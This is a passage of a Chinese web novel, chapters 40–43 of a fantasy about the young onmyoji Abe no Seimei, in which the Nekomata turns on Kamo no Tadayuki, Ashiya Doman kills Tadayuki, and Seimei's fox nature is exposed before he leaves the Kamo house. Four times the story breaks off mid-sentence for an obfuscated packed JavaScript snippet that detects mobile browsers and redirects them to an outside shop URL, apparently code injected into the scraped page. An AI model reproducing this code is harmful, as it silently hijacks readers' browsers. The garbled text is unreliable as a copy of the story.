不过,也不差,今天过后,平安京就再也没有安倍晴明这个人了。 而贺茂忠行即使不死,也绝不会再有东山再起的机会。 谁会叫一个曾收过妖怪为徒的阴阳师来驱鬼呢? 谁又敢相信贺茂忠行与妖怪没有任何牵连? 卢屋道满冷笑一声,掷出了手中的茭杯。 掷茭,是一种向神明祈求指点的占卜方法,茭杯一共两只,手掌大小,呈半月形,一面平坦,一面凸出,平面为阳,凸面为阴。 掷茭之前,先祷祝并说明掷茭原因,即向神明询问之事,然后方可掷茭。 掷出的茭杯落地之后,若两只茭杯一阴一阳,则称“圣茭”,代表询问的事项得到了神明认同,或表示行事将会顺利。 如果两只茭杯都是阳面向上,称作“笑茭”,则表示神明尚未做好决定,或代表此事已有定论,不必再问。 而如果是阴面向上,这种情况叫作“怒茭”,意为神明不赞同此事,或行事不顺。 卢屋道满自然是在询问安倍晴明是否是妖狐葛叶之子这件事,而这个问题的答案自然毋庸置疑。 他几乎确信了,落地的茭杯必然会是一阴一阳的圣茭。 这是神明给出的指示,绝不可能出错! 所以,当卢屋道满看清楚那两只落地的茭杯的时候,他疑心是不是自己眼花,或是不小心问错了问题。 地面上那两只茭杯凸面朝上,赫然就是代表不赞同的怒茭! 不仅卢屋道满看到了这个结果,围在他身边的所有人都看到了。 阴阳师、贵族、重臣还有天皇,他们都看到了这个结果。 为什么会这样? 明明安倍晴明就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683819|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 卢屋道满不死心,拾起茭杯重新祷祝,再次掷出。 依旧还是怒茭。 他连掷三次,神明也接连给出了三次怒茭,等他还想再掷第四次的时候,卢屋道满身边的阴阳师拉住了他:“卢屋大人,掷茭只有三次,再多的话,神明恐怕就要恼怒了。” 卢屋道满丢下茭杯,忽然之间扬声大笑,他明白了。 还有什么不明白的呢? 贺茂忠行今天不在这里,除了他之外,还有谁有能力改变神明给出的指点呢? 分明晴明就是白狐之子,如果不是贺茂忠行作法,神明怎么会给出怒茭! 不过…… 竟然胆大包天更改神明的旨意,这代价…… 也不知贺茂忠行承不承得住。 贺茂忠行!你够狠!这一局,算我输了! 卢屋道满越发笑得张狂,他身边的人纷纷退避,好像在躲避一个疯子一般。 “既然此事已有定论,安倍晴明并非妖狐之子。那么从今以后,此事不得再提。”天皇起身离去,只留下这样一句话。 贵族们和阴阳师也都匆匆离去,没人敢和现在疯子一样的卢屋道满搭话。 卢屋道满笑声渐渐止歇,他的手摸到了配在腰间的武士刀的刀柄。 没错,我是输了,但是如果现在我要杀你,贺茂忠行,你要怎样阻止我呢? 更改神明旨意所背负的代价,想来已经让你油尽灯枯了吧。 你现在打算怎么和我斗?就凭着一只猫又和两个半大的孩子? 卢屋道满的笑容颇有些诡异,他快步走向了贺茂忠行的宅邸。 而此时,贺茂忠行刚刚咳出一口血,这血把他口中衔着的猫又的纸人染得猩红一片。 修改神明意旨的确是一件十分危险的事,他必须借助猫又的力量才能勉强保住性命。 贺茂忠行跌坐在他绘制的法阵中央,吐出猫又的纸人,扶着胸口大口大口地喘着气。 他这样做,不仅仅是为了保住晴明,更是为了保住自己和贺茂保宪。 重伤的贺茂忠行没有注意到,猫又的纸人沾染了他的血,竟然自己动了起来,未经召唤,纸人竟自己幻化成了猫又的模样。 40.猫又 猫又抬起一只前爪,梳理了一下自己被贺茂忠行的血沾湿的毛发,又舔了舔,然后,它微微眯起了眼睛。 猫又这种妖怪,多残忍嗜血,且最喜食人。 贺茂忠行的血的味道让它回想起了一些它原以为已经忘却了的记忆。 其实,它是吃过人类的肉的。 它记得自己生在山林之中,母亲偶尔会为它捕来人类的幼崽。 那个味道…… 有些怀念啊。 猫又扭过头,舔舐着自己身上沾染的贺茂忠行的血液,一双碧绿色的眼睛越来越亮,闪烁着野兽一般的光芒。 真可惜,后来再也没能吃到了。 猫又想着。 对了,这都是拜眼前这个无趣的阴阳师所赐,如果不是他,母亲不可能会死,如果不是他,它也不会像个牲畜一般被呼来喝去,被人类奴役十几年! 猫又喉咙里发出低沉的嘶声,它弓起了背。 而贺茂忠行背对着猫又,再加以身体虚弱,根本没有发现猫又的异样! 猫又像个鬼魅一般在贺茂忠行身后踱来踱去,犹豫着不敢上前。 毕竟它和贺茂忠行之间的那纸式神契约还在,而不论贺茂忠行虚弱到何种地步,只要贺茂忠行还持有契约,那么猫又的性命就完全掌握在贺茂忠行手里。 贺茂忠行一手按着胸口,大口大口地呕着血,鲜血把地面上绘制的法阵染得一塌糊涂,同时,也染红了猫又的眼睛。 血腥味极大地刺激到了天性嗜血的猫又,它终于不再犹豫,前爪在地面上一按,朝贺茂忠行猛扑了过去。 而贺茂忠行这会儿昏昏沉沉,正处在清醒与昏迷的间隙,一时间竟没有立即动用契约来约束猫又! 而对于猫又来说,一瞬间的机会已经足够了。 它咬住了贺茂忠行的喉咙。 它终于尝到了新鲜人类血肉的味道。 猫又撕扯开了贺茂忠行的皮肉,血从猫又齿间喷涌而出,溅进了贺茂忠行的眼睛,映出了一只疯狂的野兽。 驭使式神是一件危险的事情,这一点贺茂忠行一向是知道的。 因此他除非万不得已,极少动用式神,平时也会尽量避免与猫又接触。 但他绝没有想到,有一天他竟会真的死在他的式神手里。 一世的野心与抱负,一生的挣扎与坚持,都在这一刻化为了乌有。 为了防止他修改神明旨意的事波及到晴明和保宪,贺茂忠行特意交代过他们两个不要到这边来,可是没想到,这一点细心,竟然彻彻底底地害死了他。 贺茂忠行仰面摔倒在地,猫又紧紧咬着他的喉咙,贪婪地吸食着血液,就像一只巨大的吸血虫。 “我就知道你不是个安分的,所以预先做了些准备。”轻轻的叹声响起,猫又惊诧地抬起了头,它的嘴边还滴着“贺茂忠行”的血。 另一个人背光站在窗边,虽然看不清楚面容,但此人身穿狩衣手执折扇,赫然就是另一个贺茂忠行! 怎么回事! 猫又一下子竖起了全身的毛。 “猫又这种妖怪,残忍嗜血,喜好食人,而且睚眦必报。”窗边的贺茂忠行轻轻用折扇敲了敲自己的手心:“而我当年杀了你母亲,你我之间的仇恨从一开始就结下了吧。” 贺茂忠行微微叹了口气:“当年不该把你带回来的,我以为可以通过教化让你改变天性,可是终究……” “不该带我回来?”猫又喉咙里发出低哑的嘶声,它脚下的“贺茂忠行”已经化作了一张纸人躺在地上。 “你的意思是从一开始就应该杀了我以绝后患?”猫又伏低了身子,摆出一副将要扑击的架势:“你不觉得你很虚伪吗,贺茂忠行?” “你满口说着些‘妖鬼也有自己的感情,与人类无异’这种冠冕堂皇的话,可你又是怎么做的?” “你把我封印在纸人里面,就只是因为我是猫又吗?”猫又龇开利齿,露出了爪子:“因为我是猫又,天性如此,所以把我丢在一边不闻不问是吗?你可曾信任过我?” “说什么教化也没能让我改变天性,你又何曾尝试改变过!”猫又怒吼道:“你现在又来责备我本性难改?贺茂忠行,你有什么资格说这种话!” “……”贺茂忠行怔住了,而猫又趁着这个机会,猛地从他身边窜了出去,逃到了外面。 “猫又!”贺茂忠行想用式神契约喝止猫又,但还没等他动用契约便咳出了口血来。 毕竟是受了伤的,因为他刚刚强行修改神明意志的缘故,他现在周身灵力紊乱,恐怕一时是动用不了灵力了。 也有可能是一世。 贺茂忠行按了按胸口,脸色惨白,背靠着窗子才勉强站直了身体。 所以他才一直站在窗边,否则,一旦猫又注意到他脸色不对,那它势必会继续攻击他。 猫又的话说得没错,他的确是从未信任过猫又,它母亲当年所做的事情太过于恐怖,以至于猫又残忍食人的刻板印象从一开始就根深蒂固地植根在了他心中。 或许真的是他的错。 贺茂忠行叹了口气,紧接着就听到了猫又震天动地的咆哮声。 贺茂忠行不禁心头一紧,本想出门去看,但他这会儿身体已经到达了极限,没走出几步便腿一软,倒在地上昏了过去。 贺茂忠行的庭院中,猫又已经化作了一只巨大的猫,它蹲坐地上,与听见动静匆匆出来查看的保宪和晴明对峙。 “滚开,别逼我杀了你们。”猫又发出低沉的威胁声,尖利的爪子从爪垫里弹出。 “猫又,你要做什么?”保宪并不知道发生了什么,但猫又现在这个样子,显然不是好事。 猫又向前踏了一步:“你们父子两个有什么资格来管我的事?都说我野性难训,今天我就杀人给你们看看,好叫你们知道,到底什么才是野性难训!” 晴明和保宪对视一眼,同时摸出了符咒:“既然这样的话,那就更不能让你过去了。” “那我就先杀了你们!”猫又前爪在地上一按,猛扑过去。 “师兄!先去看看师傅怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689842|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样了!”到底还是晴明反应快一些,发现猫又情况异常就立刻想到是贺茂忠行那边出了事,忙把保宪往旁边一推,急道:“这边有我和樱在,不怕它跑了。” 保宪这才担心起自己父亲来,匆匆说了句:“你自己小心”,就转身跑了。 猫又没阻拦保宪,而等保宪离开之后,它脖子上竖起的毛竟然落下了一些。 猫又好像叹了口气,它说:“我唯独不想杀的人就是你,安倍晴明。” “只有你从没把我当成过杀人的妖怪。”猫又说:“因为我们是同类啊,我们都是妖怪,那些人类永远都不会信任我们。无论我们为人类做过什么,我们都是这世上的异类,永远不可能真正被他们接纳。” “只要‘与众不同’这一个理由,他们就可以堂而皇之地指责你,人类太过于愚蠢了,总是想消灭与他们不一样的个体,他们根本不知道自己的行为有多自大。”猫又越说越恼怒,耳朵贴平,几乎与脑袋形成了一条直线。 晴明沉默了一会儿。 “我不认同你的话。”晴明安静地说:“我和你不一样,我是人类,不是妖怪。” “真的吗?”猫又嗤笑一声:“那不如让你看看,人类到底是怎么看待你的。” 还没等晴明弄清楚猫又这话的意思,贺茂宅的大门便吱呀一声开了,紧接着,凉子的声音便响了起来:“打扰了,我来找晴明。” 凉子怎么会来?她不是被她父亲关在家里了吗? 晴明微微怔了怔,回头看去。 只见凉子站在门前,见了他,竟然发出了一声尖叫。 是被猫又吓到了吧,晴明想。 晴明转回身,想去安抚凉子,但他刚刚走出去一步,凉子便像见到了怪物一样猛地后退,满脸惊惧。 猫又冷笑起来。 晴明这才后知后觉地意识到,猫又刚才完全释放出了它身上的阴气,这里的阴气现在已经极其浓郁了。 而他竟然没有立即发现这一点,相反,还觉得这阴气让他十分舒适。 “……”晴明一下子全身僵硬。 他慢慢抬起手,摸了摸自己脑袋两侧。 果然。 他摸到了毛茸茸的狐狸耳朵。 晴明眼中的光,一下子熄灭了。 “凉子,”晴明面对着惊恐的凉子,艰难地开口:“我……的确是白狐之子。” “对不起,骗了你。可是我……” 晴明还想再说下去,但凉子已经转身逃走了。 “我……”晴明干涩地笑了一声,望着凉子的背影。 他就知道会是这样的结局。 凉子一向害怕妖怪,又怎么会接受身为白狐之子的他。 “看到了吗?”猫又凑近晴明,在他的狐狸耳朵上轻轻舔了一下,那只狐耳骤然受到这样的刺激,猛地抖了抖。 “连她都害怕你,你还说我们不是同类?”猫又恶意地笑了起来:“你要拒绝你自己吗?” 晴明不自觉地把拳捏得咔咔作响,他转回身,直视猫又。 41.内忧外患 “猫又!”晴明性子一向平和,极少动怒,但这一次,他是真的被惹恼了。 然而始作俑者还在挑唆:“你还不愿意承认吗?你,安倍晴明,就是个妖怪,没人会信任一个妖怪的。” “你会变得和我一样,成为人类手中任由摆布的玩具,你确定你想要这样的未来?”猫又伸出爪子拨弄着晴明的尾巴,阴恻恻地说:“你帮我解除掉契约,我们一起离开平安京,离人类远一些,这不是很好吗?” 晴明蓦地抽回尾巴,冷冷地说:“这就是你的目的,对吧?” “说什么唯独不想杀死我,其实你只是想利用我替你破除师傅加诸在你身上的式神契约吧。”晴明的面孔逐渐发生了变化,变得清瘦狭长,而且开始长出了雪白色的毛发。 不只是面孔,这样的变化也同时出现在晴明全身,最后,晴明变成了一只雪白色的大狐狸,身量与猫又相当。 “只为了这样的目的,你就想逼我与人类彻底决裂?”狐狸口吐人言,他微微伏低了身子,龇开利齿,显然已是怒极。 “真可惜啊。”猫又毫不畏惧地迎着晴明的目光,它被贺茂忠行的灵力养了十几年,又曾与晴明朝夕相处,九尾狐这个身份根本对它造不成任何影响。 猫又似乎有些不耐烦地左右甩着尾巴:“本来我还真的想带你一起离开这里的,不过,既然你坚持认为自己是那些白痴的同类的话,那也随你咯。” 紧接着,它毫无预兆地纵身跃起,直扑晴明! 晴明猝不及防被扑了个正着,仰面摔倒在地,猫又按着晴明的肩胛骨,尖利的牙齿咬进了他的皮毛,很快渗出血来。 疼痛迅速让晴明明白过来,猫又现在是真的想杀死他。 被猫又压在身下的大狐狸后腿猛地一蹬,将猫又踹翻到一边,咆哮着又扑了上去。 一只妖怪,一个阴阳师,竟然不约而同地采取了最原始的战斗方式,两只野兽互相展露着利爪尖牙,发出威胁的吼声。 不过,若是要以力量取胜的话,以人类的方式生活了十五年的晴明又怎么可能敌得过生来就是兽类的猫又?他一时间不由得落了劣势,若不是樱一直在旁帮忙,他恐怕很快就会被猫又杀死。 原本晴明化出狐身只是打算遏制一下猫又的气焰,就像他那天月尽夜压制其他妖鬼和式神一样,但他没想到猫又竟然完全不惧怕他。 不过…… 即使晴明不以九尾狐的模样来同猫又战斗,就算他用阴阳师的方式来对付猫又,他也同样不是猫又的对手。 毕竟那是贺茂忠行的式神,若论实力,它和贺茂忠行相比起来也不遑多让。 “真热闹啊,未来的大阴阳师安倍晴明,竟然变成了妖怪和另一只妖怪打架,这话若是说了出去,谁会相信呢?”正当晴明与猫又缠斗的时候,一个粗哑嘲讽的声音响了起来,卢屋道满手握太刀,出现在晴明身后。 “这儿的动静可是闹得不小,说不定已经有人注意到你们了。”卢屋道满冷笑:“若是这样的话,倒也用不着我再煞费苦心了,很快所有人都会知道,你,安倍晴明。” “就是个妖怪。”卢屋道满脸上带着诡异的笑容,一字一顿。 晴明心中一凛,他竟然忘了这回事! 若不是猫又故意激怒他,他也不会失去理智到这种程度,竟然平白地惹出了话柄来。 不过,现在的情况也不容他多想,因为猫又再一次咬住了他胸口处的毛发。 好在狐狸的皮毛厚密,而猫又口鼻部较短,咬一两口并不是很容易真正伤到他。 这大概是晴明相对于猫又,唯一的优势了。 卢屋道满大步从晴明和猫又身边走过,他是来找贺茂忠行的,没必要节外生枝,更不想介入两个大妖怪的战斗。 “卢屋道满。”保宪搀扶着贺茂忠行从房里走出来,贺茂忠行面如金纸,不过神态依旧倨傲,淡淡地瞟了卢屋道满一眼。 “好久不见,近来可好啊。”卢屋道满诡秘地笑着,打量着贺茂忠行。 “你我之间,何必还来这套虚伪的问候。”贺茂忠行调整了一下站姿,推开保宪,自己站直了:“你我都迫不及待地想看到对方死,又何必再问近日好不好。” 卢屋道满放声大笑。 “你很有趣啊,贺茂忠行。”卢屋道满慢慢抽刀在手,丢掉了刀鞘:“你说你想要我死,但我明明记得,我根本没有直接得罪过你,你为什么会这样恨我?” “因为我杀死了安倍益材?杀了一个与你几乎毫不相干的人?”卢屋道满故意皱起了眉头,作冥思苦想状:“但是这个理由,好像不是很充分啊。” “你该不会……”卢屋道满笑了起来:“该不会是因为我抢走了你的地位吧?你的野心……” “你想多了。”贺茂忠行面无表情,打断了卢屋道满的话:“哪里有那么多理由,道不同不相为谋,就是这么简单。” “看来我猜对了。”卢屋道满毫不理会贺茂忠行的反驳,自顾自地说:“对,我是抢走了你在天皇面前的地位,让你这么多年的精心经营毁于一旦,所以你恨我,甚至想要我死。” “我又何尝不是呢?”卢屋道满冷笑道:“当你恨我的时候,你有没有想过,我为了杀尽天下妖鬼,也同样做了几十年的筹备?” “相比起来,贺茂忠行。”卢屋道满缓缓逼近贺茂忠行:“我更有资格恨你。” “离我父亲远一点!”保宪上前一步,挡在了卢屋道满和贺茂忠行之间。 “保宪。”贺茂忠行伸手按住保宪的肩膀,想把他拽到身后去,身上却使不出力气,他叹了一声,朝卢屋道满道:“你不是想杀我吗?我现在也没能力阻拦你,不过,你不要去找那两个孩子的麻烦。” “你面前这个,我可以保证。”卢屋道满朝保宪抬了抬下巴,说:“不过,外头那个嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689843|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 卢屋道满笑道:“恐怕用不着我去找麻烦,麻烦很快就会来找他。” 贺茂忠行微微一叹,朝外面望了一望,猫又与白狐厮杀的动静闹得不小。 “晴明是我的弟子,我说他不是妖怪,他就不是。” 卢屋道满哂笑道:“这可由不得你。” “是吗?”贺茂忠行静静地注视着卢屋道满,忽然笑了起来:“未来的事,谁知道呢?” 贺茂忠行的这个笑容让卢屋道满莫名地感到很不舒服,似乎眼前这个虚弱将死的人即将要做出什么出人意料的事。 “你……”卢屋道满话还没说出口,贺茂忠行便高声朝猫又道:“猫又,停下!” 这是动用了式神契约,刚刚保宪渡给了他一点灵力,贺茂忠行才得以再次利用式神契约来命令猫又。 契约的效果立竿见影,猫又原本张开了爪子打算去挠白狐的脑袋,但当贺茂忠行喊出那一句“停下”的时候,它就像被定了身一样动弹不得了。 “贺茂忠行!”猫又恼恨地大吵大骂:“有能耐别用契约!” 猫又的模样有些滑稽,它人立起来,前爪张开,由于契约的约束作用,它既不能扑出去,又不能收回爪子坐下来。 “贺茂师傅!”晴明一看到猫又这副样子便立刻猜到是贺茂忠行,他朝贺茂忠行的方向望了一眼,低头像是行了个礼,随后就想变回人身。 “你也别动,晴明!”贺茂忠行连忙喝止晴明:“保持这个样子,等着我!” 晴明有些疑惑,不过还是听话地坐了下来,九条尾巴拖曳在身后,有一下没一下地摇着。 真像一只大狗狗。 卢屋道满煞有趣味地看着贺茂忠行做这一切,在他看来,贺茂忠行所做的这些事无非是在料理后事罢了。 因此,当贺茂忠行劈手夺走他的武士刀的时候,卢屋道满根本没来得及做出反应。 今天贺茂忠行的举动似乎总是出人意料,他夺刀根本不是打算反击,而是…… 反手捅了自己。 “你这是做什么?”卢屋道满皱眉,不明白贺茂忠行这样做的意图。 “待会儿你就知道了。”贺茂忠行咬牙又把刀从伤处拔了出来,丢在地上。 他刚刚避开了致命的部位,但即便如此,他这样做依然十分危险。 卢屋道满直觉不妙,他去拣起了刀,打算彻底杀死贺茂忠行以绝后患。 但就在他拾起刀的瞬间,他看到了贺茂忠行脸上的表情。 他不由得全身一凉。 贺茂忠行那一瞬间的表情就好像什么计谋得逞了似的。 但卢屋道满想不明白,贺茂忠行到底有什么算计。 不过,下一刻,他就明白了。 他和贺茂忠行两个人忽然出现在了人来人往的街上。 贺茂忠行捂着流血的伤口,而他手里的刀正滴着血。 42.分歧 贺茂忠行捂着刚刚他自己捅出来的伤口,摇摇晃晃地跪坐在地,脸色惨白如纸。 但卢屋道满发誓,他从贺茂忠行的眼中看到了计谋得逞的笑意。 他们此时正站在贺茂忠行的宅院之外,周围的人都看到了这一幕。 无数人都看到了贺茂忠行受伤,而卢屋道满手中攥着凶刃。 眼见真的为实吗? 卢屋道满万万没有想到,贺茂忠行竟然懂得“缩地”,并且还能在这样虚弱的情况下施展出来。 刚刚就在卢屋道满去拣太刀的一瞬间,贺茂忠行就展开了“缩地”,距离不需要多远,只需要让附近的人能看到他们,就足够了。 投桃报李,卢屋道满散布“安倍晴明是吃人妖怪”的流言,那么贺茂忠行就叫人们知道,他们所信重的大阴阳师卢屋道满,原来是一个杀人凶手。 这个办法太过于冒险,不过这是现在的贺茂忠行能想到的唯一的法子。 卢屋道满环顾四周,这会儿他们身边已经围上了不少人,他终于也体会到了遭人非议的感觉。 “你总是说我是个疯子,贺茂忠行。”卢屋道满蹲下身,对着贺茂忠行的耳朵轻声说:“可你比我疯多了。” “月尽夜,还有今天,你总是豁出命来和我斗,值得吗?”卢屋道满用只有他们两个人能听到的声音说:“人死了,可就什么都没了。” “我敢豁出命,是因为我知道我不会死。”贺茂忠行咳了几声,咳出满口的血来:“现在这里有这么多人,你敢杀我吗?” 卢屋道满听见这话放声大笑,像是听见了什么好笑的笑话。 “为什么不敢?” 下一刻,一把刀穿过了贺茂忠行的胸口,卢屋道满这一刀将贺茂忠行整个人都刺穿了,刀尖从贺茂忠行背部露出来。 “既然担了虚名,何不就顺便杀了你?”卢屋道满丢下刀站起来,扬声大笑,状若疯癫:“横竖我今天来找你的时候,就没打算叫你活着。” “难不成你还以为,我是害怕背负人命的人?”卢屋道满嘲讽地在贺茂忠行身上踢了一脚,大笑着转身走了。 他穿过重重叠叠的人群,因为这里聚集的人太多,卢屋道满索性唤出了式神,无数狰狞的妖鬼众星捧月般地簇拥着他,他身边的人自然是躲避不迭。 卢屋道满杀死了贺茂忠行,他离开了平安京。 而贺茂忠行倒在自家宅院外,眼睛一点点黯淡了下去。 没人敢去碰贺茂忠行的尸身,他唯一的儿子贺茂保宪还呆在宅院里,对他父亲发生的事情一无所知。 忽然之间,一只长着两条尾巴的大猫从贺茂宅窜了出来,猛地扑向距离它最近的人。 贺茂忠行死了,式神契约自然就此作废,这世上再也没人约束得住猫又了。 它自由了,平安京就是它新的狩猎场。 人们纷纷逃避猫又的追击,但人又怎么可能跑得过妖怪? 自诩为万物灵长的人类,现在竟然成了被猫咪戏耍的老鼠。 猫又很快擒住了一个倒霉蛋,还没等它下口撕咬,一只九尾狐便身手敏捷地跃出来,猛然把猫又掀翻在地。 竟然是晴明,他竟然以白狐的模样出现在了外人面前。 劫后余生的那人连滚带爬地逃走,心有余悸地就近找了个地方藏起来。 两只体型庞大的巨兽翻滚着扭打成一团,不过不同的是,白狐只动爪子,从来不用牙齿撕咬。 在心理上晴明依旧还是个人类,对于咬人这种事有着本能的抵触。 “白狐,杀了它。”从贺茂宅又走出了另一个晴明。 这个“晴明”身穿月白色的狩衣,头戴乌帽,手中还提着柄剑。 紧接着,樱也走了出来,不过她压根儿不理会人类外貌的那个“晴明”,径直走向了与猫又打斗不休的白狐,她双手幻化出刀刃,也加入了战局。 最后一个从贺茂宅出来的人是贺茂保宪,他的目光似乎有几分茫然,四处打量着。 最后,他看到了贺茂忠行的尸体。 他父亲的尸体。 茫然一下子就变成了惊天动地的恸哭。 从猫又摆脱契约束缚的那一刻起,保宪就意识到了事情不妙,不过总还抱着一线希望,但是现在,最后的一点希望也被掐灭了。 贺茂忠行,他的父亲,真的死了。 保宪伏在贺茂忠行的尸体上痛哭失声,而晴明还在与猫又厮杀,他们发出的吼叫声震天动地。 “够了。” 最后,保宪站起身来,他哑着嗓音,重复着:“够了。” 与此同时,一直抱剑站在贺茂宅门前的“晴明”动了,他提剑走到猫又身边,而无法无天的猫又看到这柄剑,竟然贴平了耳朵,露出惧怕的神色来。 白狐见“晴明”拔剑在手,当机立断把猫又按在了身下,任由它怎样抓挠挣扎都不肯放开它。 “晴明”面无表情,僵硬得仿佛一只木偶,他手起刀落,将猫又的两条尾巴斩落在地。 就在猫又的尾巴完全断开的一刹那,猫又的体型就迅速缩小,恢复了正常成年黑猫的大小。 猫又这种妖怪的妖力全部集中在尾巴上,若是尾巴被人砍断,则会变得与寻常猫无异。因此,有些养猫的人家为了防止猫变成妖怪猫又,经常会趁着猫年纪幼小的时候,断去它的尾巴。 白狐似乎松了口气,它松开抓着猫又的爪子,原地卧了下来。 另一个“晴明”则收剑回鞘,然后望着白狐,低声念了句咒,白狐就化作了纸人,被“晴明”揣进了怀里。 “晴明”所持的剑正是贺茂忠行前些日子用天狗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750037|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太刀和羽扇所铸造出来的,其中混入了贺茂忠行和天狗的灵力,也正是因此,猫又才会畏惧那柄剑。 保宪抱起贺茂忠行的尸身,轻声在他耳边说:“我们回家了,父亲大人。” “晴明”神情木然,跟在保宪身后,进了贺茂宅。 一路上,保宪没再和晴明说一句话。 直到保宪把贺茂忠行的尸体放回房间,他才红着眼睛转回身去面对“晴明”。 一张纸人从“晴明”怀里悠悠飘落,没等落地便化成了人形,此人竟也是晴明! 这两个晴明站在一处,衣着体态几乎毫无二致,不过一个神情木然些,另一个鲜活些。 而在纸人变成晴明之后不久,另一个“晴明”便飞快地萎顿腐朽,变成了一只手指大小的木头人,胸前钉着一张纸,写着晴明的名字。 这就是贺茂忠行完整的计划了,在他苏醒过来的时候,晴明已经变成了白狐,而且他体型过大,很有可能被过路的人无心看到,这件事已成定局,无法逆转,不过,利用这个机会,反倒可以彻底洗脱晴明“白狐之子”的嫌疑。 于是贺茂忠行叫保宪制作了一个木头人,叫它以晴明的模样出现,并且故意叫“晴明”与白狐同时出现,令外人以为白狐是晴明的式神。这样一来,也就不会再有人怀疑这只白狐是晴明所变成的了。 无论如何,贺茂忠行都必须洗清晴明是妖怪的嫌疑,因为自从晴明拜入他门下的那一天起,安倍和贺茂两家的命运就彻底绑在了一起,若是晴明的身世被人揭露开来,贺茂家也将会随之堕入深渊。 所以贺茂忠行不惜一切也必须保住晴明,可谓是机关算尽。 而他唯一没有考虑到的,就是卢屋道满这个人的疯狂程度,谁也想不到卢屋道满竟然敢在众目睽睽之下行凶杀人。 “师兄,我……”晴明话还没说完,侧脸就挨了一掌,火辣辣地生疼。 晴明被打懵了,而打他的人正是保宪。 “安倍晴明,白狐之子……”保宪像是一下子失去了理智,他少有地冲晴明大吼大叫起来:“为什么死的人不是你!” “如果不是你的话……如果不是为了你……”保宪焦躁地在房里踱步,口中反复念叨着。 如果不是晴明的话,卢屋道满就不会去天皇面前掷茭,贺茂忠行也就不会因修改神明意愿而受重伤,他也就不会死。 而再往前推,如果没有晴明,卢屋道满就不会跑到平安京来,贺茂忠行根本不可能与卢屋道满成为敌人。 归根结底,都是晴明的错! 悲痛吞噬掉了保宪的理智,他极端且任性地把一切错误都推给了晴明。 晴明默默不语,随后,他转身离开了。 晴明收拾起了自己的东西,离开了贺茂宅。 他再一次,没有家了。 43.晴雨 “你师傅出葬了,风葬,贺茂保宪把他送到了平安京之外。”八百比丘尼跪坐在晴明对面,把她探听到的消息尽可能平和地说给晴明听。 出乎她意料的是,晴明很平静地点了点头:“我知道了,谢谢你,八百比丘尼。” “你……” 八百比丘尼还没把话问出口,晴明便好似已经猜到了她想要说什么,他调整了一下坐姿,开口道:“师兄他说得没错,如果不是我的话,事情不会发展到这个地步,贺茂师傅也不会死,师傅和师兄待我不薄,而我却害他们至此,我心有愧。即使师兄不怪我,我也没脸再去见他了。” 说话时,晴明抬眸望了望他面前那尊慈眉善目的佛像,他从贺茂家离开之后,就和樱一起搬到了八百比丘尼独居的尼姑庵暂住。 “这种事,怪不得你。”八百比丘尼微微叹了一声,事实上,这样的局面,她早就想象到了。 这大概就是他们这样的人的宿命了。 即使现在不经历这些,等过些年月,一样要经受众叛亲离。既然这样,或许还不如早一些承受的好。 不过,这未免太艰难了些,晴明还不过十五岁而已啊。 “对了,还有另一件事。”八百比丘尼犹豫许久,最后还是说了出来:“那个小姑娘,她嫁人了。” “谁?”晴明起初还没听懂八百比丘尼的话,或者说是听懂了但不愿意承认,因为他的脸色一下子变得煞白。 八百比丘尼则用行动回答了晴明,她从衣服里怀摸出了两个小物件,递给了晴明。 一只表面微微泛黄的晴天娃娃,和一串勾玉。 晴明曾经送给凉子的东西。 “我在外面碰见她,她叫我把这两件东西还给你。”八百比丘尼不知道自己该说什么,她起身离开了尼姑庵,只留下晴明一个人坐在那里。 像这样的事情,还是叫当事人独自静一静比较好,旁人劝慰也是没有用处的。 晴明一点一点攥紧了晴天娃娃和勾玉,他脸上淡淡的,看不出什么情绪。 就好像根本不在乎凉子是不是嫁给了其他人似的。 他之前附给晴天娃娃的咒印早已失去了效用,它已经不具备改换晴雨的作用了。 凉子…… 你为什么…… “啪” 一旁燃着的火堆发出了轻响,一小段枯枝带着火星弹到了晴明面前。 晴明出神地望着那段枯枝渐渐焚烧成灰。 最后,一阵风吹散了残灰,了无痕迹。 “……” 